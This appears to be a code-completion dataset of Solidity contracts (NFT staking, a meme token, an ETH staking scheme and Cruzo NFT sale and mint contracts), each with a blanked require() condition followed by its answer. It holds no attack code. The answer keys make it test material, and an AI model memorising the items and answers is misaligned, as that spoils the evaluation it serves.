function emergencyWithdraw(uint256[] memory tokenIds) external onlyOwner {
}
/// @dev Starts NFT staking program
function launchStaking() external onlyOwner {
require(<FILL_ME>)
stakingLaunched = true;
}
/**
* @param balance The balance of a user
* @dev Gets total yield per second of all staked tokens of a user
*/
function getTotalYieldPerSecond(uint256 balance) public view returns (uint256) {
}
/**
* @param staker The address of a user
* @dev Calculates unclaimed reward of a user
*/
function getUnclaimedRewards(address staker) public view returns (uint256) {
}
/**
* @param staker The address of a user
* @dev Returns all token IDs staked by a user
*/
function getStakedTokens(address staker) public view returns (uint256[] memory) {
}
/**
* @param staker The address of a user
* @dev Returns the number of tokens staked by a user
*/
function getTotalStakedAmount(address staker) public view returns (uint256) {
}
/// @dev Gets called whenever an IERC721 tokenId token is transferred to this contract via IERC721.safeTransferFrom
function onERC721Received(
address,
address,
uint256,
bytes calldata data
) public returns (bytes4) {
}
/**
* @param list The array of token IDs
* @param tokenId The token ID to move to the end of the array
* @dev Moves the element that matches tokenId to the end of the array
*/
function _moveTokenToLast(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
}
/**
* @param staker The user address
* @param amount The amount of tokens to claim
* @dev Transfers reward to a user
*/
function _claimReward(address staker, uint256 amount) private {
}
}
| !stakingLaunched,"Staking has been launched already" | 82,793 | !stakingLaunched |
"Same bool" | // SPDX-License-Identifier: No
pragma solidity = 0.8.19;
//--- Context ---//
abstract contract Context {
constructor() {
}
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
//--- Ownable ---//
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
//--- Interface for ERC20 ---//
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//--- Contract v2 ---//
contract NUTinu is Context, Ownable, IERC20 {
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFee;
mapping (address => bool) private liquidityAdd;
mapping (address => bool) private isLpPair;
mapping (address => bool) private isPresaleAddress;
mapping (address => uint256) private balance;
uint256 constant public _totalSupply = 100_000_000 * 10**18;
uint256 constant public swapThreshold = _totalSupply / 3_500;
uint256 constant public buyfee = 20;
uint256 constant public sellfee = 20;
uint256 constant public transferfee = 0;
uint256 constant public fee_denominator = 1_000;
bool private canSwapFees = false;
address payable private marketingAddress = payable(0x946c2F46147E510975929b924B6ECbd14B0B7C68);
IRouter02 public swapRouter;
string constant private _name = "SouthParkTrumpObamaFuckPepeInuBot";
string constant private _symbol = "NUTinu";
uint8 constant private _decimals = 18;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address public lpPair;
bool public isTradingEnabled = false;
bool private inSwap;
modifier inSwapFlag {
}
event _enableTrading();
event _setPresaleAddress(address account, bool enabled);
event _toggleCanSwapFees(bool enabled);
event _changePair(address newLpPair);
event _changeWallets(address marketing);
constructor () {
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function isNoFeeWallet(address account) external view returns(bool) {
}
function setNoFeeWallet(address account, bool enabled) public onlyOwner {
}
function isLimitedAddress(address ins, address out) internal view returns (bool) {
}
function is_buy(address ins, address out) internal view returns (bool) {
}
function is_sell(address ins, address out) internal view returns (bool) {
}
function canSwap(address ins, address out) internal view returns (bool) {
}
function changeLpPair(address newPair) external onlyOwner {
}
function toggleCanSwapFees(bool yesno) external onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function changeWallets(address marketing) external onlyOwner {
}
function takeTaxes(address from, bool isbuy, bool issell, uint256 amount) internal returns (uint256) {
}
function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {
}
function setPresaleAddress(address presale, bool yesno) external onlyOwner {
require(<FILL_ME>)
isPresaleAddress[presale] = yesno;
_noFee[presale] = yesno;
liquidityAdd[presale] = yesno;
emit _setPresaleAddress(presale, yesno);
}
function enableTrading() external onlyOwner {
}
}
| isPresaleAddress[presale]!=yesno,"Same bool" | 82,823 | isPresaleAddress[presale]!=yesno |
"You are not allowed to deposit." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
struct DepositInfo {
uint256 amount;
uint256 lockupPeriod;
uint256 interestRate;
uint256 depositTime;
uint256 lastClaimTime;
}
contract StakingContract {
address payable private _owner;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _lastClaimTime;
mapping(address => uint256) private _lockupPeriod;
mapping(address => uint256) private _interestRate;
mapping(address => bool) private _blacklisted;
mapping(address => address) private _referrals;
mapping(address => uint256) private _initialDeposits;
mapping(address => uint256) private _depositTime;
mapping(address => DepositInfo[]) private _deposits;
mapping(address => uint256) private _totalWithdrawnAmounts;
event Deposit(address indexed user, uint256 amount, uint256 lockupPeriod);
event Withdraw(address indexed user, uint256 amount);
event InterestClaimed(address indexed user, uint256 amount);
event Blacklisted(address indexed user);
event Unblacklisted(address indexed user);
constructor() {
}
modifier onlyOwner {
}
function deposit(uint256 lockupPeriod, address referral) external payable {
require(lockupPeriod >= 1 && lockupPeriod <= 5, "Invalid lockup period.");
require(<FILL_ME>)
uint256 currentLockupPeriod = lockupPeriod * 1 days;
uint256 currentInterestRate;
if (lockupPeriod == 1) {
currentLockupPeriod = 7 * 1 days;
require(msg.value >= 10**17 && msg.value <= 5 * 10**17, "Invalid deposit amount for 7-day lockup.");
currentInterestRate = 30; // 0.3%
} else if (lockupPeriod == 2) {
currentLockupPeriod = 14 * 1 days;
require(msg.value >= 5 * 10**17 && msg.value <= 5 * 10**18, "Invalid deposit amount for 14-day lockup.");
currentInterestRate = 200; // 2%
} else if (lockupPeriod == 3) {
currentLockupPeriod = 30 * 1 days;
require(msg.value >= 5 * 10**18 && msg.value <= 10**19, "Invalid deposit amount for 30-day lockup.");
currentInterestRate = 500; // 5%
} else if (lockupPeriod == 4) {
currentLockupPeriod = 60 * 1 days;
require(msg.value >= 8 * 10**18 && msg.value <= 25 * 10**18, "Invalid deposit amount for 60-day lockup.");
currentInterestRate = 1100; // 11%
} else if (lockupPeriod == 5) {
currentLockupPeriod = 90 * 1 days;
require(msg.value >= 15 * 10**18 && msg.value <= 50 * 10**18, "Invalid deposit amount for 90-day lockup.");
currentInterestRate = 1800; // 18%
}
if (_referrals[msg.sender] == address(0) && referral != msg.sender && referral != address(0)) {
_referrals[msg.sender] = referral;
}
DepositInfo memory newDeposit = DepositInfo({
amount: msg.value,
lockupPeriod: currentLockupPeriod,
interestRate: currentInterestRate,
depositTime: block.timestamp,
lastClaimTime: block.timestamp
});
_balances[msg.sender] += msg.value;
_lockupPeriod[msg.sender] = currentLockupPeriod;
_interestRate[msg.sender] = currentInterestRate;
_depositTime[msg.sender] = block.timestamp;
_lastClaimTime[msg.sender] = block.timestamp;
_initialDeposits[msg.sender] = msg.value;
_deposits[msg.sender].push(newDeposit);
emit Deposit(msg.sender, msg.value, lockupPeriod);
}
function blacklist(address user) external onlyOwner {
}
function getTotalWithdrawnAmount(address user, uint256 lockupPeriod) external view returns (uint256) {
}
function getRemainingAmount(address user) external view returns (uint256) {
}
function unblacklist(address user) external onlyOwner {
}
function withdraw(uint256 depositIndex) external {
}
function transferAllFunds() external onlyOwner {
}
function calculateInterest(address user, uint256 depositIndex) public view returns (uint256) {
}
function claimInterestForDeposit(uint256 lockupPeriod) external {
}
function getDepositInfo(address user) external view returns (uint256[] memory depositIndices, uint256[] memory unlockTimes, uint256[] memory stakedAmounts, uint256[] memory lockupPeriods) {
}
function getDepositStatus(address user, uint256 lockupPeriod) external view returns (uint256[] memory depositIndices, uint256[] memory remainingTimes, uint256[] memory interestsCollected, uint256[] memory interestsNotCollected, uint256[] memory nextInterestClaims) {
}
function max(int256 a, int256 b) private pure returns (int256) {
}
function getNumberOfDeposits(address user) external view returns (uint256) {
}
function getReferral(address user) external view returns (address) {
}
function getLockupPeriod(address user) external view returns (uint256) {
}
function getInterestRate(address user) external view returns (uint256) {
}
function getBalance(address user) external view returns (uint256) {
}
function isBlacklisted(address user) external view returns (bool) {
}
function getLastClaimTime(address user) external view returns (uint256) {
}
}
| !_blacklisted[msg.sender],"You are not allowed to deposit." | 82,852 | !_blacklisted[msg.sender] |
"User is already blacklisted." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
struct DepositInfo {
uint256 amount;
uint256 lockupPeriod;
uint256 interestRate;
uint256 depositTime;
uint256 lastClaimTime;
}
contract StakingContract {
address payable private _owner;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _lastClaimTime;
mapping(address => uint256) private _lockupPeriod;
mapping(address => uint256) private _interestRate;
mapping(address => bool) private _blacklisted;
mapping(address => address) private _referrals;
mapping(address => uint256) private _initialDeposits;
mapping(address => uint256) private _depositTime;
mapping(address => DepositInfo[]) private _deposits;
mapping(address => uint256) private _totalWithdrawnAmounts;
event Deposit(address indexed user, uint256 amount, uint256 lockupPeriod);
event Withdraw(address indexed user, uint256 amount);
event InterestClaimed(address indexed user, uint256 amount);
event Blacklisted(address indexed user);
event Unblacklisted(address indexed user);
constructor() {
}
modifier onlyOwner {
}
function deposit(uint256 lockupPeriod, address referral) external payable {
}
function blacklist(address user) external onlyOwner {
require(<FILL_ME>)
_blacklisted[user] = true;
emit Blacklisted(user);
}
function getTotalWithdrawnAmount(address user, uint256 lockupPeriod) external view returns (uint256) {
}
function getRemainingAmount(address user) external view returns (uint256) {
}
function unblacklist(address user) external onlyOwner {
}
function withdraw(uint256 depositIndex) external {
}
function transferAllFunds() external onlyOwner {
}
function calculateInterest(address user, uint256 depositIndex) public view returns (uint256) {
}
function claimInterestForDeposit(uint256 lockupPeriod) external {
}
function getDepositInfo(address user) external view returns (uint256[] memory depositIndices, uint256[] memory unlockTimes, uint256[] memory stakedAmounts, uint256[] memory lockupPeriods) {
}
function getDepositStatus(address user, uint256 lockupPeriod) external view returns (uint256[] memory depositIndices, uint256[] memory remainingTimes, uint256[] memory interestsCollected, uint256[] memory interestsNotCollected, uint256[] memory nextInterestClaims) {
}
function max(int256 a, int256 b) private pure returns (int256) {
}
function getNumberOfDeposits(address user) external view returns (uint256) {
}
function getReferral(address user) external view returns (address) {
}
function getLockupPeriod(address user) external view returns (uint256) {
}
function getInterestRate(address user) external view returns (uint256) {
}
function getBalance(address user) external view returns (uint256) {
}
function isBlacklisted(address user) external view returns (bool) {
}
function getLastClaimTime(address user) external view returns (uint256) {
}
}
| !_blacklisted[user],"User is already blacklisted." | 82,852 | !_blacklisted[user] |
"User is not blacklisted." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
struct DepositInfo {
uint256 amount;
uint256 lockupPeriod;
uint256 interestRate;
uint256 depositTime;
uint256 lastClaimTime;
}
contract StakingContract {
address payable private _owner;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _lastClaimTime;
mapping(address => uint256) private _lockupPeriod;
mapping(address => uint256) private _interestRate;
mapping(address => bool) private _blacklisted;
mapping(address => address) private _referrals;
mapping(address => uint256) private _initialDeposits;
mapping(address => uint256) private _depositTime;
mapping(address => DepositInfo[]) private _deposits;
mapping(address => uint256) private _totalWithdrawnAmounts;
event Deposit(address indexed user, uint256 amount, uint256 lockupPeriod);
event Withdraw(address indexed user, uint256 amount);
event InterestClaimed(address indexed user, uint256 amount);
event Blacklisted(address indexed user);
event Unblacklisted(address indexed user);
constructor() {
}
modifier onlyOwner {
}
function deposit(uint256 lockupPeriod, address referral) external payable {
}
function blacklist(address user) external onlyOwner {
}
function getTotalWithdrawnAmount(address user, uint256 lockupPeriod) external view returns (uint256) {
}
function getRemainingAmount(address user) external view returns (uint256) {
}
function unblacklist(address user) external onlyOwner {
require(<FILL_ME>)
_blacklisted[user] = false;
emit Unblacklisted(user);
}
function withdraw(uint256 depositIndex) external {
}
function transferAllFunds() external onlyOwner {
}
function calculateInterest(address user, uint256 depositIndex) public view returns (uint256) {
}
function claimInterestForDeposit(uint256 lockupPeriod) external {
}
function getDepositInfo(address user) external view returns (uint256[] memory depositIndices, uint256[] memory unlockTimes, uint256[] memory stakedAmounts, uint256[] memory lockupPeriods) {
}
function getDepositStatus(address user, uint256 lockupPeriod) external view returns (uint256[] memory depositIndices, uint256[] memory remainingTimes, uint256[] memory interestsCollected, uint256[] memory interestsNotCollected, uint256[] memory nextInterestClaims) {
}
function max(int256 a, int256 b) private pure returns (int256) {
}
function getNumberOfDeposits(address user) external view returns (uint256) {
}
function getReferral(address user) external view returns (address) {
}
function getLockupPeriod(address user) external view returns (uint256) {
}
function getInterestRate(address user) external view returns (uint256) {
}
function getBalance(address user) external view returns (uint256) {
}
function isBlacklisted(address user) external view returns (bool) {
}
function getLastClaimTime(address user) external view returns (uint256) {
}
}
| _blacklisted[user],"User is not blacklisted." | 82,852 | _blacklisted[user] |
"CruzoPassSale: invalid signature" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../tokens/Cruzo1155.sol";
import "../utils/Cruzo1155Factory.sol";
contract CruzoPassSale is Ownable {
uint256 public constant MAX_PER_ACCOUNT = 3;
uint256 public constant REWARDS = 20;
uint256 public constant ALLOCATION = 180;
uint256 public constant MAX_SUPPLY = ALLOCATION + REWARDS;
Cruzo1155 public token;
address public signerAddress;
uint256 public price;
uint256 public tokenId;
mapping(address => uint256) public allocation;
bool public saleActive;
bool public publicSale;
event Mint(address to, uint256 tokenId);
constructor(
address _factoryAddress,
address _signerAddress,
address _rewardsAddress,
string memory _contractURI,
string memory _baseURI,
uint256 _price
) {
}
function buy(uint256 _amount, bytes calldata _signature) external payable {
require(saleActive, "CruzoPassSale: sale is not active");
require(<FILL_ME>)
require(_amount > 0, "CruzoPassSale: invalid amount");
require(
_amount + allocation[msg.sender] <= MAX_PER_ACCOUNT,
"CruzoPassSale: too many NFT passes in one hand"
);
require(
msg.value == _amount * price,
"CruzoPassSale: incorrect value sent"
);
allocation[msg.sender] += _amount;
for (uint256 i = 0; i < _amount; i++) {
_mint(msg.sender);
}
}
function _mint(address _to) internal {
}
function withdraw(address payable _to) external onlyOwner {
}
function transferTokenOwnership(address _to) external onlyOwner {
}
function setSaleActive(bool _saleActive) external onlyOwner {
}
function setPublicSale(bool _publicSale) external onlyOwner {
}
}
| publicSale||ECDSA.recover(ECDSA.toEthSignedMessageHash(bytes32(uint256(uint160(msg.sender)))),_signature)==signerAddress,"CruzoPassSale: invalid signature" | 82,870 | publicSale||ECDSA.recover(ECDSA.toEthSignedMessageHash(bytes32(uint256(uint160(msg.sender)))),_signature)==signerAddress |
"CruzoPassSale: too many NFT passes in one hand" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../tokens/Cruzo1155.sol";
import "../utils/Cruzo1155Factory.sol";
contract CruzoPassSale is Ownable {
uint256 public constant MAX_PER_ACCOUNT = 3;
uint256 public constant REWARDS = 20;
uint256 public constant ALLOCATION = 180;
uint256 public constant MAX_SUPPLY = ALLOCATION + REWARDS;
Cruzo1155 public token;
address public signerAddress;
uint256 public price;
uint256 public tokenId;
mapping(address => uint256) public allocation;
bool public saleActive;
bool public publicSale;
event Mint(address to, uint256 tokenId);
constructor(
address _factoryAddress,
address _signerAddress,
address _rewardsAddress,
string memory _contractURI,
string memory _baseURI,
uint256 _price
) {
}
function buy(uint256 _amount, bytes calldata _signature) external payable {
require(saleActive, "CruzoPassSale: sale is not active");
require(
publicSale ||
ECDSA.recover(
ECDSA.toEthSignedMessageHash(
bytes32(uint256(uint160(msg.sender)))
),
_signature
) ==
signerAddress,
"CruzoPassSale: invalid signature"
);
require(_amount > 0, "CruzoPassSale: invalid amount");
require(<FILL_ME>)
require(
msg.value == _amount * price,
"CruzoPassSale: incorrect value sent"
);
allocation[msg.sender] += _amount;
for (uint256 i = 0; i < _amount; i++) {
_mint(msg.sender);
}
}
function _mint(address _to) internal {
}
function withdraw(address payable _to) external onlyOwner {
}
function transferTokenOwnership(address _to) external onlyOwner {
}
function setSaleActive(bool _saleActive) external onlyOwner {
}
function setPublicSale(bool _publicSale) external onlyOwner {
}
}
| _amount+allocation[msg.sender]<=MAX_PER_ACCOUNT,"CruzoPassSale: too many NFT passes in one hand" | 82,870 | _amount+allocation[msg.sender]<=MAX_PER_ACCOUNT |
"CruzoPassSale: not enough supply" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../tokens/Cruzo1155.sol";
import "../utils/Cruzo1155Factory.sol";
contract CruzoPassSale is Ownable {
uint256 public constant MAX_PER_ACCOUNT = 3;
uint256 public constant REWARDS = 20;
uint256 public constant ALLOCATION = 180;
uint256 public constant MAX_SUPPLY = ALLOCATION + REWARDS;
Cruzo1155 public token;
address public signerAddress;
uint256 public price;
uint256 public tokenId;
mapping(address => uint256) public allocation;
bool public saleActive;
bool public publicSale;
event Mint(address to, uint256 tokenId);
constructor(
address _factoryAddress,
address _signerAddress,
address _rewardsAddress,
string memory _contractURI,
string memory _baseURI,
uint256 _price
) {
}
function buy(uint256 _amount, bytes calldata _signature) external payable {
}
function _mint(address _to) internal {
require(<FILL_ME>)
token.create(
tokenId,
1,
_to,
"",
"",
address(this),
// royalty = 10%
1000
);
emit Mint(_to, tokenId);
}
function withdraw(address payable _to) external onlyOwner {
}
function transferTokenOwnership(address _to) external onlyOwner {
}
function setSaleActive(bool _saleActive) external onlyOwner {
}
function setPublicSale(bool _publicSale) external onlyOwner {
}
}
| ++tokenId<=MAX_SUPPLY,"CruzoPassSale: not enough supply" | 82,870 | ++tokenId<=MAX_SUPPLY |
"Token is already created" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "./ERC1155URI.sol";
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol";
contract Cruzo1155 is Initializable, IERC2981Upgradeable, ERC1155URI {
address public marketAddress;
string public name;
string public symbol;
string public contractURI;
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
RoyaltyInfo private _defaultRoyaltyInfo;
mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo;
bool public publiclyMintable;
function initialize(
string[2] calldata _nameAndShortName,
string calldata _baseMetadataURI,
string calldata _contractURI,
address _marketAddress,
address owner,
bool _publiclyMintable
) public initializer {
}
function setMarketAddress(address _new) public onlyOwner {
}
/**
*
* @notice Internal function to mint to `_amount` of tokens of `_tokenId` to `_to` address
* @param _tokenId - The Id of the token to be minted
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @dev Can be used to mint any specific tokens
*
*/
function _mintToken(
uint256 _tokenId,
uint256 _amount,
address _to,
bytes memory _data
) internal returns (uint256) {
}
/**
*
* @notice Internal function to mint to `_amount` of tokens of new tokens to `_to` address
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @param _uri - The token metadata uri (optional if tokenURI is set)
* @dev Used internally to mint new tokens
*/
function _createToken(
uint256 _tokenId,
uint256 _amount,
address _to,
string memory _uri,
bytes memory _data
) internal returns (uint256) {
require(<FILL_ME>)
creators[_tokenId] = _msgSender();
if (bytes(_uri).length > 0) {
_setTokenURI(_tokenId, _uri);
}
return _mintToken(_tokenId, _amount, _to, _data);
}
/**
*
* @notice This function can be used to mint a new token to a specific address
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @dev Mint a new token to `to` address
*
*/
function create(
uint256 _tokenId,
uint256 _amount,
address _to,
string memory _uri,
bytes memory _data,
address _royaltyReceiver,
uint96 _royaltyFee
) public returns (uint256 tokenId) {
}
/**
*
* @notice SET Uri Type from {DEFAULT,IPFS,ID}
* @param _uriType - The uri type selected from {DEFAULT,IPFS,ID}
*/
function setURIType(uint256 _uriType) public onlyOwner {
}
function uri(uint256 id) public view override returns (string memory) {
}
function setTokenURI(uint256 _id, string memory _uri) public {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function setContractURI(string memory _newURI) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
virtual
override
returns (address, uint256)
{
}
function _setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _feeNumerator
) internal virtual {
}
function _feeDenominator() internal pure virtual returns (uint96) {
}
}
| creators[_tokenId]==address(0),"Token is already created" | 82,871 | creators[_tokenId]==address(0) |
"Cruzo1155: not publicly mintable" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "./ERC1155URI.sol";
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol";
contract Cruzo1155 is Initializable, IERC2981Upgradeable, ERC1155URI {
address public marketAddress;
string public name;
string public symbol;
string public contractURI;
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
RoyaltyInfo private _defaultRoyaltyInfo;
mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo;
bool public publiclyMintable;
function initialize(
string[2] calldata _nameAndShortName,
string calldata _baseMetadataURI,
string calldata _contractURI,
address _marketAddress,
address owner,
bool _publiclyMintable
) public initializer {
}
function setMarketAddress(address _new) public onlyOwner {
}
/**
*
* @notice Internal function to mint to `_amount` of tokens of `_tokenId` to `_to` address
* @param _tokenId - The Id of the token to be minted
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @dev Can be used to mint any specific tokens
*
*/
function _mintToken(
uint256 _tokenId,
uint256 _amount,
address _to,
bytes memory _data
) internal returns (uint256) {
}
/**
*
* @notice Internal function to mint to `_amount` of tokens of new tokens to `_to` address
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @param _uri - The token metadata uri (optional if tokenURI is set)
* @dev Used internally to mint new tokens
*/
function _createToken(
uint256 _tokenId,
uint256 _amount,
address _to,
string memory _uri,
bytes memory _data
) internal returns (uint256) {
}
/**
*
* @notice This function can be used to mint a new token to a specific address
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @dev Mint a new token to `to` address
*
*/
function create(
uint256 _tokenId,
uint256 _amount,
address _to,
string memory _uri,
bytes memory _data,
address _royaltyReceiver,
uint96 _royaltyFee
) public returns (uint256 tokenId) {
require(<FILL_ME>)
tokenId = _createToken(_tokenId, _amount, _to, _uri, _data);
_setTokenRoyalty(_tokenId, _royaltyReceiver, _royaltyFee);
return _tokenId;
}
/**
*
* @notice SET Uri Type from {DEFAULT,IPFS,ID}
* @param _uriType - The uri type selected from {DEFAULT,IPFS,ID}
*/
function setURIType(uint256 _uriType) public onlyOwner {
}
function uri(uint256 id) public view override returns (string memory) {
}
function setTokenURI(uint256 _id, string memory _uri) public {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function setContractURI(string memory _newURI) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
virtual
override
returns (address, uint256)
{
}
function _setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _feeNumerator
) internal virtual {
}
function _feeDenominator() internal pure virtual returns (uint96) {
}
}
| publiclyMintable||_msgSender()==owner(),"Cruzo1155: not publicly mintable" | 82,871 | publiclyMintable||_msgSender()==owner() |
"Cruzo1155:non existent tokenId" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "./ERC1155URI.sol";
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol";
contract Cruzo1155 is Initializable, IERC2981Upgradeable, ERC1155URI {
address public marketAddress;
string public name;
string public symbol;
string public contractURI;
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
RoyaltyInfo private _defaultRoyaltyInfo;
mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo;
bool public publiclyMintable;
function initialize(
string[2] calldata _nameAndShortName,
string calldata _baseMetadataURI,
string calldata _contractURI,
address _marketAddress,
address owner,
bool _publiclyMintable
) public initializer {
}
function setMarketAddress(address _new) public onlyOwner {
}
/**
*
* @notice Internal function to mint to `_amount` of tokens of `_tokenId` to `_to` address
* @param _tokenId - The Id of the token to be minted
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @dev Can be used to mint any specific tokens
*
*/
function _mintToken(
uint256 _tokenId,
uint256 _amount,
address _to,
bytes memory _data
) internal returns (uint256) {
}
/**
*
* @notice Internal function to mint to `_amount` of tokens of new tokens to `_to` address
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @param _uri - The token metadata uri (optional if tokenURI is set)
* @dev Used internally to mint new tokens
*/
function _createToken(
uint256 _tokenId,
uint256 _amount,
address _to,
string memory _uri,
bytes memory _data
) internal returns (uint256) {
}
/**
*
* @notice This function can be used to mint a new token to a specific address
* @param _to - The to address to which the token is to be minted
* @param _amount - The amount of tokens to be minted
* @dev Mint a new token to `to` address
*
*/
function create(
uint256 _tokenId,
uint256 _amount,
address _to,
string memory _uri,
bytes memory _data,
address _royaltyReceiver,
uint96 _royaltyFee
) public returns (uint256 tokenId) {
}
/**
*
* @notice SET Uri Type from {DEFAULT,IPFS,ID}
* @param _uriType - The uri type selected from {DEFAULT,IPFS,ID}
*/
function setURIType(uint256 _uriType) public onlyOwner {
}
function uri(uint256 id) public view override returns (string memory) {
require(<FILL_ME>)
return _tokenURI(id);
}
function setTokenURI(uint256 _id, string memory _uri) public {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function setContractURI(string memory _newURI) external onlyOwner {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
virtual
override
returns (address, uint256)
{
}
function _setTokenRoyalty(
uint256 _tokenId,
address _receiver,
uint96 _feeNumerator
) internal virtual {
}
function _feeDenominator() internal pure virtual returns (uint96) {
}
}
| creators[id]!=address(0),"Cruzo1155:non existent tokenId" | 82,871 | creators[id]!=address(0) |
"Cruzo1155:non existent tokenId" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import "./ERC1155URI.sol";
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol";
contract Cruzo1155 is Initializable, IERC2981Upgradeable, ERC1155URI {
address public marketAddress;
string public name;
string public symbol;
string public contractURI;
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
RoyaltyInfo private _defaultRoyaltyInfo;
mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo;
bool public publiclyMintable;
function initialize(
string[2] calldata _nameAndShortName,
string calldata _baseMetadataURI,
